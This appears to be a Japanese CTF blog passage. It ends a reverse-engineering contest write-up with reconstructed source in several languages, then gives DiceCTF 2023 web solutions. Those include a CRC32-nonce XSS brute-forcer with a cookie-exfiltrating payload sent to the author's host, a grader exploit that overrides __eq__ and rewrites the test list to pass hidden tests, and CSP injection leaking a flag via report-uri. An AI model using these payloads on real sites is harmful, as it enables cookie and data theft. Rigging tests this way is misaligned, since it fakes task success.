ちなみに、その差分のサイズは、添付されていた heptarchy-distfiles.tar.gz に含まれるバイナリによって計算されていた。そのため、ソースコードを提出するとどれぐらいの差分のサイズになるかが、手元で確認できるようになっていた。

このようなルールを考慮し、各言語の初動では、あらかじめ Hello, world! するコードを用意しておいて最初はそれを提出し、続いてバイナリを実行した結果から挙動の推測をし、それっぽいコードに変えていくということをしていた。それから真面目にリバースエンジニアリングして元のソースコードを推測しつつ、細かな修正を加えてコンパイルし、出力されるバイナリと提供されたバイナリの差分が小さくなれば提出するということを繰り返す戦略を採った。

各チームの最終的なスコアは次のような感じ。3位だったのはよかったけれども、上の2チームとは200点程度も離れていてくやしい。Python以外では1, 2位をほとんど取れていなかったから仕方ない。

1284 Double Lariat
1236 rokata
1038 _(-.- _) )_
983 AERO SANITY
774 traP
565 Team Enu
522 chocorusk
367 parabola0149
321 TokyoWesterns
290 ids-TeamCC
218 KUDoS
85 catapult

C

x86_64の普通のELFが降ってくる。2つのファイルについて、差分のサイズを計算してくれるらしい。IDA Freewareがほぼそのままでコンパイル可能な形にデコンパイルしてくれて助かった。まずは main と、そこから呼び出されている get_size, myers_diff という関数のコードを取り出した。__cdecl__fastcall のような呼び出し規則の修飾子を削除し、さらに以下のようにヘッダファイルのインクルードをするようにしたり、__int64_QWORD のような型をなんとかしたりした。

#include <stdio.h>
#include <stdlib.h>

typedef long long int __int64;
typedef unsigned long long int _QWORD;
typedef unsigned char _BYTE;

最終的な差分サイズは1190。順位の推移は(0点) → 1 → 1 → 4 → 4 → (0点) → 5 → 5 → 5 → 5 → 5 → 5。

C++

鍵と平文を与えると、なんらかの形で暗号化してくれるバイナリ。

$ ./mission-2
Key: hoge
Plaintext: fuga
Ciphertext: e23ae831

IDA Freewareに投げるとこんな感じでデコンパイルしてくれる。RC4 というクラスがあって、インスタンス化時にはコンストラクタに鍵を渡し、暗号化時には Encrypt というメソッドに平文を渡すのだなあ、それで返ってきた暗号文を16進文字列で出力するのだなあとわかる。

RC4は素直な実装だし、IDA Freewareもまあまあいい感じにデコンパイルしてくれているので、それをC++らしく書き直すだけ。…のはずなんだけれども、この時点ではまだ戦い方を把握しきれておらず(また、ルールも把握しきれておらず)、上の方に書いた「バイナリを実行した結果から挙動の推測をし、それっぽいコードに変えていく」ことに時間をかけてしまっていた。

最終的な差分サイズは15332。順位の推移は1 → 2 → 2 → 3 → 3 → 3 → 4 → 4 → 9 → 5 → 5 → 5。

Rust

Rustわからんし、リバースエンジニアリングするのもバイナリが読みにくくてやだなあと思いつつ取り組む。実行すると次のような感じで、どうやらじゃんけんの勝者判定をすればよいらしい。

$ ./mission-3
Player 1 Hand [Rock/Paper/Scissors]: Rock
Player 2 Hand [Rock/Paper/Scissors]: Rock
Draw!

これまでの言語と同様にシンボル情報は残してくれていて、次のように get_player_hand という関数が使われているのだなあとか、おかしな手を出したら Invalid hand というメッセージで panic! するのだなあとかわかる。

見様見真似でそれっぽく書き、以下のようなコードができあがった。このあたりでlight-noteのヒント(?)が出ており、Jeopardyに未練があったので、盆栽は途中で切り上げて、次の言語に移行するまでの30分程度はそちらを見ることにした。

use std::io;

fn get_player_hand(x: u32) -> u32 {
    print!("Player {} Hand [Rock/Paper/Scissors]: ", x);

    let mut val = String::new();
    io::stdin().read_line(&mut val)
        .expect("Error getting guess");

    let s = val.to_lowercase().to_string();
    match &*s {
        "rock" => return 1,
        "scissors" => return 2,
        "paper" => return 3,
        _ => panic!("Invalid hand"),
    }
}

fn main() {
    let a = get_player_hand(1);
    let b = get_player_hand(2);

    match (b - a) % 3 {
        0 => println!("Draw!"),
        1 => println!("Player 1 wins!"),
        2 => println!("Player 2 wins!"),
        _ => unreachable!()
    }
}

最終的な差分サイズは28488。順位の推移は3 → 4 → (0点) → 5 → 4 → 4 → 4 → 4 → 4 → 5 → 5 → 5。うーん。ここらへんから他チームも最初にダミーでもよいからソースコードを提出しておけば点数が得られることに気づき始める。

Go

Rustと並んで、あまりバイナリを読みたくないランキングの上位にいるGolang。実行すると次のような感じで、数値を投げるとよくわからん数値を返してくれる。OEISに投げたら "Number of halving and tripling steps to reach 1 in '3x+1' problem" と教えてくれた。ありがとう。

$ ./mission-4
Number: 3
[DEBUG] quit := make(chan int)
[DEBUG] c := make(chan int)
[DEBUG] go shrinker(c, quit)
[DEBUG] go expander(c, quit)
7

デバッグ出力のおかげでgoroutineとチャネルを使っていそうだなあとわかる。うまいこと書けず悩んでいるうちに、複数の他チームがかなり小さい差分サイズを出してきたので、途中で切り上げてJeopardyやPythonラウンドに向けた準備をする。

package main

import (
    "fmt"
)

func shrinker(c chan int, quit chan int) {
 
}

func expander(c chan int, quit chan int) {

}

func main() {
    var i int
    fmt.Printf("Number: ")
    _, err := fmt.Scanf("%d", &i)
    if err != nil {
        fmt.Println("Invalid number")
        return
    }

    quit := make(chan int)
    fmt.Println("[DEBUG] quit := make(chan int)")
    c := make(chan int)
    fmt.Println("[DEBUG] c := make(chan int)")

    go shrinker(c, quit)
    fmt.Println("[DEBUG] go shrinker(c, quit)")
    go expander(c, quit)
    fmt.Println("[DEBUG] go expander(c, quit)")

    fmt.Println(0)
}

最終的な差分サイズは38546。順位の推移は(0点) → 5 → 4 → 5 → 6 → 7 → 7 → 7 → 7 → 7 → 7 → 7。ひどい。

Python

この問題ではELFでなくpycが降ってくる。pycの生成に使われるのはPython 3.12.0a3で、uncompyle6decompyle3によるデコンパイルはできないと踏んでいた。事前に以下のように(提供されるpycの解析だけでなく、それと出力されるpycを比較してソースコードの修正もできるように)すぐ逆アセンブルできるような準備を整えていた。案の定デコンパイルできなかったので、役立った。

$ python3 -c "import dis, marshal; f=open('/tmp/__pycache__/main.cpython-312.pyc','rb'); f.seek(16); dis.dis(marshal.load(f))"
  0           0 RESUME                   0

  1           2 PUSH_NULL
              4 LOAD_NAME                0 (print)
              6 LOAD_CONST               0 ('123')
              8 CALL                     1
             18 POP_TOP
             20 LOAD_CONST               1 (None)
             22 RETURN_VALUE

提供されたpycを実行すると、次のようによくわからん方法でテキストを暗号化してくれる。

$ python3 mission-5.pyc
Text: a
Cipher: 0xab3d884932f44013911c055a64fb4efe0244ccb95109e14fa09b4b3b5b3a0f0b55c557962c612736e238a412414827b2fef119500677cd32bd32073fcffd55295d3500c92d1f3b879c199801aa6c70d2fe89fe8a37419ad39ac74c68e67f3de0
$ python3 mission-5.pyc
Text: b
Cipher: 0x300020be7b72a12d5e22546329b5ca259de043edbf28607a147565f5e77ecd87e7e59be9255c4db6c5ad9283e09db9610c3715610af34ebf213da604519b384722f75bcc0a14087d2f78eb6d8c9ee690f27566f1330dc8e87d91cf83ae7cd8b5e

手でデコンパイルするしかない。pycのデコンパイルには慣れているし、提供されたpycは特に難読化を考えていないような素直なものだったから、割とサクサク進められた。できあがったものは次の通り。isPrime のループがうまいこと復元できず泣く*6。修正してはコンパイルして dis.dis の結果を比較するというのを繰り返して、いい感じにできた。

import random

def isPrime(n, k=10):
    if n == 2 or n == 3:
        return True
    if n & 1 == 0:
        return False

    r, s = 0, n - 1
    while s & 1 == 0:
        s >>= 1
        r += 1

    for _ in range(k):
        a = random.randrange(2, n - 1)
        x = pow(a, s, n)
        if x == 1 or n - x == 1:
            continue
        for _ in range(r - 1):
            x = (x * x) % n
            if n - x == 1:
                return False
        else:
            pass

    return True

def getPrime(bits):
    while True:
        p = random.randrange(1 << bits, 1 << (bits + 1))
        if isPrime(p):
            return p

if __name__ == '__main__':
    p = getPrime(256)
    q = getPrime(256)
    r = getPrime(256)
    n = p * q * r
    e = 65537
    m = int.from_bytes(input('Text: ').encode(), 'big')
    if m > n:
        print('Too long')
        exit(1)

    c = pow(m, e, n)
    print(f'Cipher: {hex(c)}')

    phi = (p - 1) * (q - 1) * (r - 1)
    d = pow(e, -1, phi)
    mm = pow(c, d, n)

    assert m == mm

最終的な差分サイズは151。順位の推移は1 → 1 → 3 → 3 → 3 → 2 → 1 → 2 → 2 → 2 → 1 → 1。これはよかった。

D

D*7。実行すると次のような感じで、入力したパスワードが正しいかどうかをチェックしてくれる。

$ ./mission-6
Password: a
Wrong...

以下のスクリーンショットはIDA Freewareでデコンパイルしたコード。左に main を、右に check_password という関数をデコンパイルしたものを置いているけれども、このようにバイナリは素直な感じになっていて読みやすい。

シンボルのデマングルも ddemangle を使えばできる。

root@739e71af9d39:/tmp/tools# ./dtools_ddemangle
_D3std9algorithm9iteration__T3mapS_D4main14check_passwordFAyaZ1fPFNaNbNiNfwZkZ__TQCaTAaZQChMFNaNbNiNfQqZSQDzQDyQDr__T9MapResultS_DQDqQDoFQDbZQDbQDcTQClZQBj
pure nothrow @nogc @safe std.algorithm.iteration.MapResult!(main.check_password(immutable(char)[]).f, char[]).MapResult std.algorithm.iteration.map!(main.check_password(immutable(char)[]).f).map!(char[]).map(char[])

というか、gdb でもできる。

$ gdb -q -n ./mission-6
Reading symbols from ./mission-6...
(No debugging symbols found in ./mission-6)
(gdb) info fun main
All functions matching regular expression "main":

Non-debugging symbols:
0x00000000000538dc  main.check_password(immutable(char)[])
0x0000000000053a00  main.check_password(immutable(char)[]).__lambda3(dchar)
0x0000000000053a08  D main
0x0000000000053aa4  main
…

バイナリはリバースエンジニアリングしやすいようになっているし、実際に上記の main, check_password に加えて、以下の check_password 中で使われているラムダ式を読むと、入力されたパスワードを 0x77 とXORしたものと固定のバイト列が比較されていることがわかる(どうでもいいけど、パスワードは Make D-lang Great Again!)。

__int64 __fastcall D4main14check_passwordFAyaZ9__lambda3FNaNbNiNfwZk(int a1)
{
  return a1 ^ 0x77u;
}

でも問題があって、私はD言語がまったく書けない。Dlang TourD言語基礎文法最速マスターを読んで、短い時間である程度書けるようにならなければならなかった。…なれませんでした。

手元ではコンパイルが通っているし、提供されたバイナリとの比較も何かエラーを吐いているわけではない(ただ、差分の計算に時間がかかっている様子だった)のになぜか得点が0点になっている。サーバ側での何かしらの障害を疑ったけれども、一部のチームは得点している様子だったので仕様通りの挙動っぽいと考える。ルールを読み直したところ、以下のような記述があった。どういった場合に得点できないかという話だ。

In any of the following cases, the team will not receive any points for the round:

  • The team does not upload any code for the language. (You don't have to upload the same code every round.)
  • The uploaded code does not compile within 10 seconds.
  • The diff calculation does not finish in 10 seconds, meaning there is too much difference.

ソースコードはアップロードしたし、コンパイルも1秒とかかっていない。残るは10秒で差分計算が終わらなかった場合だ。…ア! めっちゃ時間かかってた!! このようにルールで明記されていたし、差分計算にどれぐらい時間がかかるかはローカルで見積もれるわけだから、こういう事態に陥ることを考えておくことも、事前に対策しておくこともできたはず。5ラウンドで0点が続いた*8のは痛い失点だった。

はい。

できあがったコードは次の通り。import std.algorithm; みたいにモジュールをいくつかインポートするだけで差分サイズが改善されて、0点から脱出することができた。main の最初で ptrace を使ったデバッガ検知が行われていたので、どうやって呼び出すんだろうなあと調べていたのだけれども、頭が働いておらず結局見つからなかった。"dlang call c function" でググったら普通に出てきた

module main;

import std.stdio;
import std.string;
import std.algorithm;
import std.array;

bool check_password(string password) {
    byte[] x = [
        58,22,28,18,87,51,90,27,22,25,16,87,48,5,18,22,3,87,54,16,22,30,25,86
    ];
    auto y = array(map!("a ^ 0x77")(x));
    return equal(x, y);
}

void main()
{
    writeln("Password: ");
    if (check_password(strip(readln()))) {
        writeln("Correct!");
    } else {
        writeln("Wrong...");
    }
}

最終的な差分サイズは24556。順位の推移は(0点) → (0点) → (0点) → (0点) → (0点) → 4 → 4 → 4 → 4 → 4 → 4 → 4。

WebAssembly

この問題ではELFでなくwasmが降ってくる。実行すると次のような感じで、ねぎらいの言葉なのかなんなのかよくわからんけれども、計算をしてくれる。

$ node mission-7.js
[+] Computing...
Hit: 5963
[+] Done.

Emscriptenが吐き出すwasmは真面目に読んでいたら時間が足りない。とりあえず、WABTwasm2cwasm2wat, wasm-objdump でwasmに関する情報を出力させる。watの export セクションを見ると bruteforce, oracle, main あたりの関数がそれっぽいなあとわかる。ほかの __errno_locationdynCall_jiji は、Emscriptenコンパイルした場合にはだいたい共通してついてくるやつ。

  (export "memory" (memory 0))
  (export "__wasm_call_ctors" (func 3))
  (export "__internal_bruteforce" (func 4))
  (export "bruteforce" (func 5))
  (export "oracle" (func 6))
  (export "__original_main" (func 7))
  (export "main" (func 8))
  (export "__indirect_function_table" (table 0))
  (export "__errno_location" (func 27))
  (export "stackSave" (func 51))
  (export "stackRestore" (func 52))
  (export "stackAlloc" (func 53))
  (export "dynCall_jiji" (func 55))

ここらへんの関数を EMSCRIPTEN_KEEPALIVE を使いつつ無理やりエクスポートさせる。中身は適当。

#include <stdio.h>
#include <emscripten.h>

EMSCRIPTEN_KEEPALIVE void oracle(int x) {
  return;
}

EMSCRIPTEN_KEEPALIVE int __internal_bruteforce(int y) {
  for (int i = 0; i < y; i++) {
      return 2;
  }
  return 5963;
}

EMSCRIPTEN_KEEPALIVE int bruteforce(int y) {
  return __internal_bruteforce(y);
}

EMSCRIPTEN_KEEPALIVE int main(void) {
  puts("[+] Computing...");
  printf("%d%d%d%d\n", __internal_bruteforce(1), __internal_bruteforce(1), __internal_bruteforce(3), __internal_bruteforce(3));
  puts("[+] Done.");
  return 0;
}

最終的な差分サイズは7623。順位の推移は4 → 5 → 4 → 4 → 4 → 4 → 3 → 3 → 4 → 4 → 4。

おわりに

とても楽しいCTFでした。運営の皆さん、また参加されていた皆さん、ありがとうございました。

*1:予選のことは忘れましょう

*2:スコアサーバに登録されているフラグや配布されたファイルから得られるフラグに誤りがあるという場合や、正しいフラグが得られているという確証が得られないような場合にhoardingしている問題を落としてしまうリスクはある

*3:今回コードゴルフが出たわけではない。もし出ていたら微妙な顔をしていたと思う

*4:2019年度の国内決勝大会でkimiyukiさんがひとりで準優勝していたのが印象深い

*5:私が名付けたチーム名だけれども、私も読み方は知らない。便宜上「顔文字」「顔文字チーム」と読んでいる

*6:泣いてません

*7:Dと聞くと、Arkさんの回転するD言語くんアイコンを思い出してしまう

*8:これが本当のzer0pts

DiceCTF 2023 writeup

あけましておめでとうございます。

2/4 - 2/6という日程で開催された。keymoonさんとチーム _(-.- _) )_ で参加し、33位だった。Web問は相変わらず面白かったけれども、solve数の少ない問題が全然解けず悔しい。unfinishedはあともう一歩で解けそうだという感覚があったので特に悔しい。後で復習したいところ。

作問者のwriteup:


競技時間中に解いた問題

[Web 115] recursive-csp (178 solves)

the nonce isn't random, so how hard could this be?

(the flag is in the admin bot's cookie)

(問題サーバのURLと、admin botにURLを通報できるフォーム)

与えられたURLにアクセスすると、次のようなシンプルなフォームが表示された。

HTMLを見ると <!-- /?source --> というコメントがある。/?source にアクセスすると、このWebアプリケーションのソースコードが表示された。

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, <?php echo $name ?>!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    <!-- /?source -->
  </body>
</html>

<?php echo $name ?> で単純なXSSができそうな感じがするが、nonce-basedなCSPがHTTPレスポンスヘッダに含まれている。もしJavaScriptコードを実行したければ <script nonce=XXXXXXXX>alert(123)</script> のように、CSPに含まれているnonceを属性値として持つ nonce 属性を script 要素に付与しなければならない。

では、そのnonceはどのように計算されているかというと、hash("crc32b", $name) とCRC32が使われている。ランダムに生成されているわけではないので、頑張れば当てられそう。ただ、そのCRCの計算に $nameXSSペイロードが使われているのが厄介。ペイロード中に、自身のCRCを含まなければならないことになる。

当てなければならない値は32ビットしかないので、ブルートフォースでもなんとかなるはず。nonce 属性の値は決め打ちにしつつ、ペイロードの後ろにランダムな4バイトをくっつけたもののCRCとそれが一致しているかをチェックし続けるようなコードを書く。わざわざこんなことをしなくてももっと綺麗な解法はありそうだが、解ければよし。

package main

import (
    "bytes"
    "fmt"
    "hash/crc32"
)

var table *crc32.Table

func bruteforce(base string, target uint32) bool {
    base_bytes := []byte(base)

    var a, b, c, d byte
    for a = 0x20; a < 0x7f; a++ {
        for b = 0x20; b < 0x7f; b++ {
            for c = 0x20; c < 0x7f; c++ {
                for d = 0x20; d < 0x7f; d++ {
                    var buf bytes.Buffer
                    buf.Write(base_bytes)
                    buf.Write([]byte{a, b, c, d})

                    h := crc32.Checksum(buf.Bytes(), table)
                    if h == target {
                        fmt.Printf("%s\n", buf.String())
                        return true
                    }
                }
            }
        }
    }

    return false
}

func main() {
    table = crc32.MakeTable(crc32.IEEE)
    template := "<script nonce=%08x>alert(123)</script>"

    var i uint32 = 0
    for {
        script := fmt.Sprintf(template, i)
        if bruteforce(script, i) {
            break
        }
        i++
    }
}

template<script nonce=%08x>location='http://(省略)/'+document.cookie</script> のようにCookieを抽出するペイロードに変える。実行すると、いい感じに nonce 属性の値とCRCが一致しているようなペイロードができあがった。

$ go run main.go
<script nonce=00000007>location='http://(省略)/'+document.cookie</script> g}t

これをURLに付与してadmin botに通報すると、adminがフラグを背負ってやってきた。

[Sat Feb  4 06:02:50 2023] 34.23.93.98:1066 [404]: (null) /flag=dice%7Bh0pe_that_d1dnt_take_too_l0ng%7D - No such file or directory
dice{h0pe_that_d1dnt_take_too_l0ng}

[Web 156] scorescope (55 solves)

I'm really struggling in this class. Care to give me a hand?

(問題サーバのURL)

ソースコードは提供されていない。与えられたURLにアクセスすると、以下のような画面が表示された。

ダウンロードできる template.py は以下のような内容だった。こんな感じでテンプレートと課題が用意されているので、解いていけばよいらしい。

# DICE 1001
# Homework 3
#
# @author [full name]
# @student_id [student id]
#
# Collaborators:
# - [list collaborators here]
#
# Resources:
# - [list resources consulted]

def add(a, b):
    '''
    Return the sum of a and b.

    Parameters:
        a (int): The first number to add.
        b (int): The second number to add.

    Returns:
        int: The sum of a and b.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

この template.py をそのままアップロードしてみると、次のような結果が表示された。テストケースは全部で22個あるらしい。また、各ケースの実行中になんらかのエラーが発生した場合には、その内容を出力してくれるらしい。ただし、エラーを出力してくれるのは22個中の21個のみで、最後の1個はエラーの内容が隠される。template.py 中にも対応する関数は存在しておらず、どんなケースかエスパーする必要がありそうだ。

これはWeb問なので、なんとかして採点者をだませないか考える。まず思いついたのは os.system でのOSコマンドの実行や、open でのファイルの読み書きだった。import osos.environ などへのアクセスだけなら許されるのだけれども、os.system('id')open('/etc/passwd') のように関数を実行した途端に

There was a problem grading your submission. Make sure your submission does not open files, import extra modules, run shell commands, or do anything too fancy.

と怒られてしまった。__import__('subp'+'rocess') でも同様に怒られるし、単純な文字列比較とかASTをなめたりとかによるチェックでなく、seccompでも使っていそう。

ということで、そもそもテストを受けずにOSコマンドを実行したりするような方向でなく、真面目にテストを受けるふりをしてズルをする方向で頑張っていく。submission.add(test_x, test_y) == answer みたいな感じで比較をして正誤判定をしているのではないかと考え、以下のように何を比較されても True を返すようなオブジェクトを作ってみる。

class A:
    def __eq__(self, a):
        return True

def add(a, b):
    return A()

これを add 以外の課題についても同じような関数に置き換えた上で提出したところ、一部のケースでは通るものの、test_hidden などではダメだった。気になるのは test_longest_… などの課題で出ているエラーメッセージで、いわく

AssertionError: Lists differ: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,[145 chars]0, 0] != [220, 85, 97, 137, 171, 187, 145, 137, 74,[251 chars] 154]

First differing element 0:
0
220

Diff is 917 characters long. Set self.maxDiff to None to see it.

とのこと。エラーメッセージの一部でググってみると、これは unittest というモジュールに関連しているっぽい。ここから情報が得られないだろうか。unittest.TestCase というクラスを継承しているクラスがないか、以下のようにわざとエラーを吐きつつ、そのメッセージとして repr(unittest.TestCase.__subclasses__()) を渡すことで調べてみる。

def add(a, b):
    raise Exception(repr(unittest.TestCase.__subclasses__()))

これを提出してみると、以下のようなエラーメッセージが出力された。最後の util.TestCase というのが unittest モジュールには付属していないクラスに見え、気になる。

Exception: [<class 'unittest.case.FunctionTestCase'>, <class 'unittest.case._SubTest'>, <class 'unittest.loader._FailedTest'>, <class 'util.TestCase'>]

inspect モジュールを利用して、このクラスがどのファイルで定義されているか確認する。raise Exception(repr(inspect.getfile(unittest.TestCase.__subclasses__()[-1]))) で、以下のようなエラーメッセージが出力された。/app/util.py というファイルで定義されているらしく、やはり unittest モジュールには付属していないクラスっぽい。

Exception: '/app/util.py'

"util" ということは単体で動くわけではないだろうし、これをインポートしているファイルがあるはず。エントリーポイントを探していきたい。__main__ モジュールimport __main__ でインポートし、このモジュールに含まれるものを raise Exception(repr(dir(__main__))) で取得する。すると、次のエラーメッセージの通りに得られた。

Exception: ['SilentResult', 'SubmissionImporter', 'TestCase', 'TestLoader', 'TextTestRunner', '__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'current', 'f', 'json', 'stack', 'stderr', 'stdout', 'submission', 'suite', 'sys', 'test', 'tests']

tests という変数が怪しく見える。__main__.tests を取得してみると、次のようにテストケースの名前が入っていた。

Exception: ['test_hidden', 'test_magic_a', 'test_magic_b', 'test_magic_c', 'test_preimage_a', 'test_preimage_b', 'test_factor_bigger', 'test_factor_large', 'test_factor_small', 'test_favorite', 'test_common_consecutive', 'test_common_empty', 'test_common_many', 'test_common_nonconsecutive', 'test_common_single', 'test_longest_empty', 'test_longest_multiple', 'test_longest_multiple_tie', 'test_longest_single', 'test_add_mixed', 'test_add_negative', 'test_add_positive']

もし、この配列のすべての要素を同じ名前にするとどうなるだろうか。次のコードを使って、__main__.teststest_favorite というテストケースの名前で埋めつつ、このケースに対応する関数の favorite は先程作った必ず正解と判定されるオブジェクトを返すようにする。

import __main__

class A():
    def __eq__(self, other):
        return True

def add(a, b):
    __main__.tests = ['test_favorite'] * 22
    raise Exception(repr(__main__.tests))

def favorite():
    return A()

これを提出すると、なんと全問正解したことになった。フラグもくれた。

dice{still_more_secure_than_gradescope}

[Web 202] codebox (30 solves)

strellic makes csp challs, maybe i should try one sometime

(問題サーバのURLと、admin botにURLを通報できるフォーム)

添付ファイル: codebox.tar.gz

ソースコードが与えられている。サーバ側のコードはシンプルで、/ というひとつのパスしかない。

const fastify = require('fastify')();
const HTMLParser = require('node-html-parser');

const box = require('fs').readFileSync('box.html', 'utf-8');

fastify.get('/', (req, res) => {
    const code = req.query.code;
    const images = [];

    if (code) {
        const parsed = HTMLParser.parse(code);
        for (let img of parsed.getElementsByTagName('img')) {
            let src = img.getAttribute('src');
            if (src) {
                images.push(src);
            }
        }
    }

    const csp = [
        "default-src 'none'",
        "style-src 'unsafe-inline'",
        "script-src 'unsafe-inline'",
    ];

    if (images.length) {
        csp.push(`img-src ${images.join(' ')}`);
    }

    res.header('Content-Security-Policy', csp.join('; '));

    res.type('text/html');
    return res.send(box);
});

fastify.listen({ host: '0.0.0.0', port: 8080 });

クエリパタメータの code をHTMLとしてパースし、それに含まれる img 要素について、src 属性で設定されている画像のパスを収集している。そして、以下のCSPにさらに img-src (収集した画像のパスをスペースで結合したもの) を追加して、CSPヘッダとして出力している。

画像のパスにセミコロンが含まれているかチェックしていないので、たとえば <img src="a; frame-src 'self'"> のような img 要素を与えることで、CSP内に限られる(新たなHTTPレスポンスヘッダの追加などはできない)がinjectionができそうだ。

default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'

/ が返す box.html は次のような内容になっている。クエリパラメータに含まれるHTMLに対しては、サーバ側ではそれをパースしてCSPヘッダを出力しただけだったが、クライアント側では iframe 要素の srcdoc 属性を使ってその表示までしている。一見XSSができそうに見えるが、残念ながら frame.sandbox = '';sandbox 属性が付与されているために、そう簡単にはJSコードの実行にはたどり着けなさそう。

script 要素の最後の2行からもわかるように、フラグは localStorage に格納されているようだ。それを h1 要素の内容として書き出している。localStorage を直接読み出すか、それとも h1 要素の内容をなんらかの方法で読み出すか、あるいはそれ以外の方法か。

<!DOCTYPE html>
<html lang="en">
<head>
  <title>codebox</title>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width,initial-scale=1" />
  <style>
    * {
        margin: 0;
        font-family: monospace;
        line-height: 1.5em;
    }
    
    div {
        margin: auto;
        width: 80%;
        padding: 20px;
    }
    
    textarea {
        width: 100%;
        height: 200px;
        max-width: 500px;
    }

    iframe {
        border: 1px solid lightgray;
    }
  </style>
</head>
<body>
  <div id="content">
    <h1>codebox</h1>
    <p>Codebox lets you test your own HTML in a sandbox!</p>
    <br>
    <form action="/" method="GET">
        <textarea name="code" id="code"></textarea>
        <br><br>
        <button>Create</button>
    </form>
    <br>
    <br>
  </div>
  <div id="flag"></div>
</body>
<script>
    const code = new URL(window.location.href).searchParams.get('code');
    if (code) {
        const frame = document.createElement('iframe');
        frame.srcdoc = code;
        frame.sandbox = '';
        frame.width = '100%';
        document.getElementById('content').appendChild(frame);
        document.getElementById('code').value = code; 
    }

    const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
    document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
  </script>
</html>

まず思いついたのは、CSPへのinjectionを使うことだった。だってどう考えても怪しいし。CSPのディレクティブの中には(使うのは推奨されていないけど) report-uri というものがあり、これを付与することで、もしCSPの違反があった場合に指定したURLへその情報を送信させることができる。雑に <img src="hoge; report-uri https://(Webhook.siteのURL)"> を投げてみたものの、飛んできたのは img-src の違反に関する情報で、フラグなどの欲しい情報は含まれていない。

{
  "csp-report": {
    "document-uri": "about",
    "referrer": "",
    "violated-directive": "img-src",
    "effective-directive": "img-src",
    "original-policy": "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src hoge; report-uri https://webhook.site/…",
    "disposition": "enforce",
    "blocked-uri": "https://codebox.mc.ax/hoge;%20report-uri%20https://webhook.site/…",
    "status-code": 0,
    "script-sample": ""
  }
}

これでなんとかしてフラグを含んだCSPの違反レポートを送信させられないかと悩む。ソースコードを見つつ考えていたところ、以下のフラグを出力する処理が気になった。なぜ textContent などによる安全な書き込みでなく、わざわざ innerHTML を使っているのか。

    const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
    document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;

ここで、Trusted Typesとの合わせ技を思いつく。もし(ポリシーが一切作成されていない状態の)Trusted Typesを有効化すれば、この innerHTML への代入は弾かれるはずだ。そして、その(フラグを含んだ)違反の情報は report-uri ディレクティブのおかげでWebhook.siteに飛ぶはず。Trusted Typesの有効化は、trusted-types ディレクティブと require-trusted-types-for ディレクティブをCSPに付与することでできる。CSPへのinjectionだけでちゃんと動きそうだ。

そこで、以下のHTMLによって default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src piyo; report-uri https://webhook.site/…; require-trusted-types-for 'script'; trusted-types というCSPが有効化されるようにしてみた…はずが、なぜか動かない。

<s>test</s><img src="piyo;"><img src="report-uri https://webhook.site/…;"><img src="require-trusted-types-for 'script'; trusted-types">

DevToolsを開いてエラーログを見てみると、どうやら "Failed to set the 'srcdoc' property on 'HTMLIFrameElement': This document requires 'TrustedHTML' assignment." と srcdoc への代入でコケているとわかる。再度 box.html 中の script 要素のスクリプトを見直す。フラグの表示の前に srcdoc への代入があるので、そこでコケてしまったらフラグの表示までたどり着けなくて困る。どうすればよいだろうか。

    const code = new URL(window.location.href).searchParams.get('code');
    if (code) {
        const frame = document.createElement('iframe');
        frame.srcdoc = code;
        frame.sandbox = '';
        frame.width = '100%';
        document.getElementById('content').appendChild(frame);
        document.getElementById('code').value = code; 
    }

    const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
    document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;

ここで、サーバ側ではクエリパラメータへのアクセスに req.query.code とFastifyが解釈した結果を、クライアント側では new URL(window.location.href).searchParams.get('code') とまた別の方法で解釈した結果を使っていることに気づく。

サーバ側では req.query.code が普通にHTMLを返しつつ、一方でクライアント側では code が空文字列などのfalsyな値になることで、if (code) { … } 中の srcdoc への代入が飛ばされるようにはできないだろうか。つまり、サーバ側とクライアント側でのクエリパラメータの解釈の違いが利用できるのではないか。

サーバ側とクライアント側で code にどのような値が入るかを確認できるスクリプトを用意する。

const fastify = require('fastify')();

fastify.get('/', (req, res) => {
    const code = req.query.code;
    return res.type('text/html').send(`
<div>server: <code>${JSON.stringify(code)}</code></div>
<div>client: <code id="output"></code></div>
<script>
const output = document.getElementById('output');
const code = new URL(window.location.href).searchParams.get('code');
output.textContent = JSON.stringify(code);
</script>
    `)
});

fastify.listen({ host: '0.0.0.0', port: 8080 });

/?code=hoge では、もちろん両方とも "hoge" になる。

/?code=hoge&code=fuga だと、サーバ側では ["hoge","fuga"] という配列になるのに対して、クライアント側では "hoge" という文字列になる。この挙動は使えそうだ。

/?code=&code=(さっき作ったペイロード) にアクセスすると、サーバはこれを素直に文字列として受け取り、先程と同じCSPを返す。一方で、クライアント側では code には空文字列が入っているので、srcdoc への文字列の代入は行われず、document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`までたどり着ける。ローカルで試したところ、次のようにダミーのフラグを手に入れられた。

admin botにこのURLを通報したところ、次のように <h1>dice{i_als0_wr1te_csp_bypasses}\n</h1> という文字列が innerHTML に代入されようとしているというCSP違反の情報が飛んできた。フラグが得られた。

dice{i_als0_wr1te_csp_bypasses}

競技が終わってから復習した問題

[Web 290] unfinished (14 solves)

It's the day of the CTF and I haven't finished writing this challenge...

Well, unfinished doesn't mean unsolvable.

(問題サーバのインスタンスを立ち上げられるURL)

添付ファイル: unfinished.tar.gz

